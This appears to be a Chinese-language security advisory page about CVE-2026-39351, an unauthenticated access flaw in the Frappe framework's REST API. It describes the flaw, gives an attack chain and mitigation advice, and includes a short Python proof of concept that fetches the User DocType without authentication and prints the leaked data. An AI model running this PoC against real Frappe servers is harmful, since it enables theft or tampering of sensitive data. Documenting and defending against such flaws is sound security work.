IPBUF安全漏洞报告
English
CVE-2026-39351 CVSS 9.1 严重

CVE-2026-39351 Frappe框架未授权访问漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39351
漏洞类型
权限绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Frappe

相关标签

权限绕过FrappeAPI安全未授权访问

漏洞概述

Frappe是一个流行的全栈Web应用框架。在16.14.0和15.104.0之前的版本中存在一个严重的安全漏洞。该漏洞源于API端点的访问控制机制失效,允许攻击者在未经身份验证的情况下,通过API利用方式访问受限制的Doctype(文档类型)。由于无需用户交互且攻击复杂度低,远程攻击者可利用此漏洞窃取敏感数据或篡改系统数据,对系统的机密性和完整性造成严重影响。

技术细节

该漏洞的核心成因在于Frappe框架对API请求处理过程中的权限校验逻辑存在缺陷。Frappe框架基于DocType(文档类型)构建数据模型,并提供标准的REST API端点(如`/api/resource/{DocType}`)用于数据的增删改查。在受影响的版本中,当请求针对特定的DocType时,框架未能正确执行基于角色的访问控制(RBAC)检查,或者默认将某些内部API暴露给了匿名用户。具体利用方式十分简单,攻击者无需拥有任何合法账户(PR:N),也不需要诱导用户进行交互(UI:N)。只需向目标服务器发送特制的HTTP GET或POST请求,即可绕过前端验证直接调用后端API。由于系统未对请求来源进行身份识别,攻击者能够遍历系统中的敏感DocType(如User、System Settings等),进而获取高价值信息或修改关键业务数据。这种未经授权的访问直接破坏了系统的机密性(C:H)和完整性(I:H),可能导致严重的信息泄露事件。

攻击链分析

STEP 1
侦察
识别目标系统为Frape框架,并确定其版本低于16.14.0或15.104.0。
STEP 2
漏洞利用
无需认证,直接向目标API端点发送针对敏感DocType的HTTP请求。
STEP 3
数据窃取或篡改
解析API返回的数据,获取敏感信息或利用API接口修改系统数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-39351 PoC: Unrestricted Doctype Access # Target: Frappe Framework < 16.14.0 target_url = "http://target-frappe-instance.com" # Example restricted DocType doctype = "User" print(f"[*] Attempting to access restricted Doctype: {doctype}...") # Vulnerable endpoint usually follows this pattern # Exploit: Sending GET request without authentication headers endpoint = f"{target_url}/api/resource/{doctype}" try: response = requests.get(endpoint) if response.status_code == 200: print("[+] Exploit Successful! Unrestricted access confirmed.") print("[+] Data leaked:") print(response.text[:200]) # Print snippet else: print(f"[-] Exploit failed or patched. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Frappe < 16.14.0
Frappe < 15.104.0

防御指南

临时缓解措施
如果无法立即升级,建议在WAF(Web应用防火墙)中配置规则,拦截对`/api/resource/`路径的未认证请求,或者在应用网关层强制进行身份验证,直到补丁应用完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表